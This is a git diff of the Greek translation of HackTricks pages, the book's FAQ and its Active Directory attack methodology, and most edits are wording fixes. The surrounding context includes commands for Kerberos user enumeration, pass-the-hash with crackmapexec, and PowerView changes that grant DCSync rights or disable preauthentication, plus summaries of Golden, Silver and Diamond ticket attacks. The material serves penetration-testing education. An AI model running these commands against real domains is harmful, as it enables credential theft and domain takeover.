> - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
|
||||
> - **ΑΠΟΘΗΚΕΥΣΗ** καταπληκτικών **τεχνικών hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **πιστωτικά**.
|
||||
> - **ΑΠΟΘΗΚΕΥΣΗ** καταπληκτικών **τεχνικών hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **εύσημα**.
|
||||
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
|
||||
> - Γράφουμε επίσης **τις δικές μας έρευνες** στο HackTricks.
|
||||
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αυθεντική ανάρτηση** για περισσότερες λεπτομέρειες.
|
||||
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αρχική ανάρτηση** για περισσότερες λεπτομέρειες.
|
||||
> - **ΟΡΓΑΝΩΣΗ** όλων των τεχνικών hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΕΣ**
|
||||
> - Η ομάδα του HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
|
||||
|
||||
@ -27,18 +27,18 @@
|
||||
|
||||
Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες του HackTricks για τη συγκέντρωση όλων αυτών των πόρων δημόσια σε ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**χρηματοδοτήσετε το έργο εδώ**](https://github.com/sponsors/carlospolop).\
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
Και μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα του Github!** (Βρείτε τους συνδέσμους παρακάτω).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Πώς μπορώ να συμβάλλω στο έργο;**
|
||||
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες Github:
|
||||
Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες του Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα Github!**
|
||||
Μην ξεχάσετε να **δώσετε ένα αστέρι στα έργα του Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -102,7 +102,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **Τι πρέπει να κάνω αν βρω περιεχόμενο που έχει αντιγραφεί και επικολληθεί στα HackTricks;**
|
||||
|
||||
Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε το σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας το σύνδεσμο**.
|
||||
Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε τον σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
|
@ -29,7 +29,7 @@
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη διαδικασία **αυθεντικοποίησης Kerberos**.\
|
||||
Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη **διαδικασία αυθεντικοποίησης Kerberos**.\
|
||||
[**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
@ -38,7 +38,7 @@
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
Αν έχετε πρόσβαση σε ένα περιβάλλον AD αλλά δεν έχετε κανένα διαπιστευτήριο/συνεδρίες, μπορείτε να:
|
||||
Αν έχετε πρόσβαση σε ένα περιβάλλον AD αλλά δεν έχετε καμία διαπιστευτήρια/συνεδρίες μπορείτε να:
|
||||
|
||||
- **Pentest το δίκτυο:**
|
||||
- Σαρώστε το δίκτυο, βρείτε μηχανές και ανοιχτές θύρες και προσπαθήστε να **εκμεταλλευτείτε ευπάθειες** ή **εξάγετε διαπιστευτήρια** από αυτές (για παράδειγμα, [οι εκτυπωτές θα μπορούσαν να είναι πολύ ενδιαφέροντες στόχοι](ad-information-in-printers.md)).
|
||||
@ -69,7 +69,7 @@
|
||||
- Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα.
|
||||
- Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες συμβάσεις **ονόματος χρήστη AD** (**[διαβάστε αυτό](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από κάθε ένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _τυχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123).
|
||||
- Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες **συμβάσεις ονοματοδοσίας χρηστών AD** ([**διαβάστε αυτό**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από κάθε ένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _τυχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123).
|
||||
- Εργαλεία:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -77,7 +77,7 @@
|
||||
### User enumeration
|
||||
|
||||
- **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση.
|
||||
- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρηστών** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -143,7 +143,7 @@ password-spraying.md
|
||||
|
||||
Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**.
|
||||
|
||||
Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού άλματος Kerberos.**
|
||||
Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλής αναπήδησης Kerberos.**
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
@ -185,7 +185,7 @@ kerberoast.md
|
||||
|
||||
### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.)
|
||||
|
||||
Μόλις αποκτήσετε κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας.
|
||||
Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας.
|
||||
|
||||
### Τοπική Κλιμάκωση Προνομίων
|
||||
|
||||
@ -205,11 +205,11 @@ kerberoast.md
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Αν έχετε καταφέρει να καταγράψετε το active directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### **Ψάξτε για Creds σε Κοινές Χρήσεις Υπολογιστών**
|
||||
|
||||
Τώρα που έχετε κάποιες βασικές διαπιστεύσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
|
||||
Τώρα που έχετε κάποιες βασικές διαπιστώσεις, θα πρέπει να ελέγξετε αν μπορείτε να **βρείτε** οποιαδήποτε **ενδιαφέροντα αρχεία που μοιράζονται μέσα στο AD**. Μπορείτε να το κάνετε αυτό χειροκίνητα, αλλά είναι μια πολύ βαρετή επαναλαμβανόμενη εργασία (και περισσότερο αν βρείτε εκατοντάδες έγγραφα που πρέπει να ελέγξετε).
|
||||
|
||||
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε για εργαλεία που θα μπορούσατε να χρησιμοποιήσετε.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
@ -229,15 +229,15 @@ kerberoast.md
|
||||
printnightmare.md
|
||||
{{#endref}}
|
||||
|
||||
## Ανάβαση προνομίων στο Active Directory ΜΕ προνομιακές διαπιστεύσεις/συνεδρία
|
||||
## Ανύψωση προνομίων στο Active Directory ΜΕ προνομιακά διαπιστευτήρια/συνεδρία
|
||||
|
||||
**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστεύσεις για να εκτελέσετε αυτές τις επιθέσεις.**
|
||||
**Για τις παρακάτω τεχνικές, ένας κανονικός χρήστης τομέα δεν είναι αρκετός, χρειάζεστε κάποιες ειδικές προνομίες/διαπιστευτήρια για να εκτελέσετε αυτές τις επιθέσεις.**
|
||||
|
||||
### Εξαγωγή Hash
|
||||
|
||||
Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [αναβάθμιση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\
|
||||
Στη συνέχεια, είναι ώρα να εξάγετε όλους τους hash στη μνήμη και τοπικά.\
|
||||
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
Ελπίζω να έχετε καταφέρει να **συμβιβάσετε κάποιο τοπικό διαχειριστή** χρησιμοποιώντας [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) συμπεριλαμβανομένων των relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [ανύψωση προνομίων τοπικά](../windows-local-privilege-escalation/index.html).\
|
||||
Στη συνέχεια, είναι ώρα να εξάγετε όλα τα hashes στη μνήμη και τοπικά.\
|
||||
[**Διαβάστε αυτή τη σελίδα για διαφορετικούς τρόπους απόκτησης των hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Περάστε το Hash
|
||||
|
||||
@ -247,7 +247,7 @@ printnightmare.md
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο το **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης.
|
||||
Αυτή η επίθεση στοχεύει να **χρησιμοποιήσει το NTLM hash του χρήστη για να ζητήσει Kerberos tickets**, ως εναλλακτική στο κοινό Pass The Hash μέσω του πρωτοκόλλου NTLM. Επομένως, αυτό θα μπορούσε να είναι ιδιαίτερα **χρήσιμο σε δίκτυα όπου το πρωτόκολλο NTLM είναι απενεργοποιημένο** και μόνο **Kerberos επιτρέπεται** ως πρωτόκολλο αυθεντικοποίησης.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -261,7 +261,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
pass-the-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Επαναχρησιμοποίηση Διαπιστεύσεων
|
||||
### Επαναχρησιμοποίηση Διαπιστευτηρίων
|
||||
|
||||
Αν έχετε το **hash** ή τον **κωδικό πρόσβασης** ενός **τοπικού διαχειριστή**, θα πρέπει να προσπαθήσετε να **συνδεθείτε τοπικά** σε άλλους **υπολογιστές** με αυτό.
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι
|
||||
|
||||
Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\
|
||||
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
|
||||
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Αν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
|
||||
**Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
|
||||
|
||||
{{#ref}}
|
||||
@ -301,9 +301,9 @@ unconstrained-delegation.md
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Αντιπροσώπευση με βάση τους πόρους
|
||||
### Αντιπροσώπευση Βασισμένη σε Πόρους
|
||||
|
||||
Έχοντας **WRITE** δικαίωμα σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**:
|
||||
Έχοντας δικαίωμα **ΓΡΑΦΗΣ** σε ένα αντικείμενο Active Directory ενός απομακρυσμένου υπολογιστή επιτρέπει την απόκτηση εκτέλεσης κώδικα με **υψηλά δικαιώματα**:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -317,15 +317,15 @@ resource-based-constrained-delegation.md
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Κατάχρηση υπηρεσίας Printer Spooler
|
||||
### Κατάχρηση Υπηρεσίας Εκτυπωτή Spooler
|
||||
|
||||
Η ανακάλυψη μιας **υπηρεσίας Spool που ακούει** εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτήσει νέες διαπιστεύσεις** και **να κλιμακώσει δικαιώματα**.
|
||||
Η ανακάλυψη μιας **υπηρεσίας Spool** που ακούει εντός του τομέα μπορεί να **καταχραστεί** για να **αποκτηθούν νέες διαπιστεύσεις** και **να κλιμακωθούν δικαιώματα**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Κατάχρηση συνεδριών τρίτων
|
||||
### Κατάχρηση Συνεδριών Τρίτων
|
||||
|
||||
Εάν **άλλοι χρήστες** **πρόσβαση** στη **συμβιβασμένη** μηχανή, είναι δυνατόν να **συγκεντρωθούν διαπιστεύσεις από τη μνήμη** και ακόμη και να **εισαχθούν σήματα στις διαδικασίες τους** για να τους προσποιηθούν.\
|
||||
Συνήθως οι χρήστες θα έχουν πρόσβαση στο σύστημα μέσω RDP, οπότε εδώ έχετε πώς να εκτελέσετε μερικές επιθέσεις σε τρίτες συνεδρίες RDP:
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές.
|
||||
**LAPS** παρέχει ένα σύστημα για τη διαχείριση του **τοπικού κωδικού πρόσβασης Διαχειριστή** σε υπολογιστές που ανήκουν σε τομέα, διασφαλίζοντας ότι είναι **τυχαίος**, μοναδικός και συχνά **αλλαγμένος**. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο για εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς πρόσβασης, γίνεται δυνατή η μεταπήδηση σε άλλους υπολογιστές.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Κλοπή Πιστοποιητικών
|
||||
|
||||
**Συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακώσετε δικαιώματα μέσα στο περιβάλλον:
|
||||
**Συγκέντρωση πιστοποιητικών** από τη συμβιβασμένη μηχανή θα μπορούσε να είναι ένας τρόπος για να κλιμακωθούν τα δικαιώματα μέσα στο περιβάλλον:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Εξαγωγή Διαπιστεύσεων Τομέα
|
||||
|
||||
Μόλις αποκτήσετε **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin** δικαιώματα, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
|
||||
Μόλις αποκτήσετε δικαιώματα **Domain Admin** ή ακόμη καλύτερα **Enterprise Admin**, μπορείτε να **εξάγετε** τη **βάση δεδομένων τομέα**: _ntds.dit_.
|
||||
|
||||
[**Περισσότερες πληροφορίες σχετικά με την επίθεση DCSync μπορείτε να βρείτε εδώ**](dcsync.md).
|
||||
|
||||
@ -385,7 +385,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Χορηγήστε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη
|
||||
- Χορηγήσετε [**DCSync**](#dcsync) δικαιώματα σε έναν χρήστη
|
||||
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Ticket Granting Service (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**.
|
||||
Η **επίθεση Silver Ticket** δημιουργεί ένα **νόμιμο εισιτήριο Υπηρεσίας Εισιτηρίων (TGS)** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του λογαριασμού PC**). Αυτή η μέθοδος χρησιμοποιείται για να **αποκτήσει πρόσβαση στα δικαιώματα υπηρεσίας**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -401,7 +401,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Ticket Granting Tickets (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD.
|
||||
Μια **επίθεση Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του λογαριασμού krbtgt** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ειδικός επειδή χρησιμοποιείται για να υπογράψει όλα τα **Εισιτήρια Υπηρεσίας Εισιτηρίων (TGTs)**, τα οποία είναι απαραίτητα για την αυθεντικοποίηση εντός του δικτύου AD.
|
||||
|
||||
Μόλις ο επιτιθέμενος αποκτήσει αυτό το hash, μπορεί να δημιουργήσει **TGTs** για οποιονδήποτε λογαριασμό επιλέξει (επίθεση Silver ticket).
|
||||
|
||||
@ -411,7 +411,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Αυτά είναι όπως τα golden tickets που έχουν παραποιηθεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης golden tickets.**
|
||||
Αυτά είναι σαν χρυσά εισιτήρια που έχουν κατασκευαστεί με τρόπο που **παρακάμπτει τους κοινούς μηχανισμούς ανίχνευσης χρυσών εισιτηρίων.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Ομάδα AdminSDHolder
|
||||
|
||||
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· εάν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίκτυπο, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
|
||||
Το αντικείμενο **AdminSDHolder** στο Active Directory διασφαλίζει την ασφάλεια των **προνομιακών ομάδων** (όπως οι Domain Admins και Enterprise Admins) εφαρμόζοντας μια τυπική **Λίστα Ελέγχου Πρόσβασης (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η δυνατότητα μπορεί να εκμεταλλευτεί· αν ένας επιτιθέμενος τροποποιήσει την ACL του AdminSDHolder για να δώσει πλήρη πρόσβαση σε έναν κανονικό χρήστη, αυτός ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις προνομιακές ομάδες. Αυτό το μέτρο ασφαλείας, που προορίζεται για προστασία, μπορεί έτσι να έχει αντίθετα αποτελέσματα, επιτρέποντας αδικαιολόγητη πρόσβαση εκτός αν παρακολουθείται προσεκτικά.
|
||||
|
||||
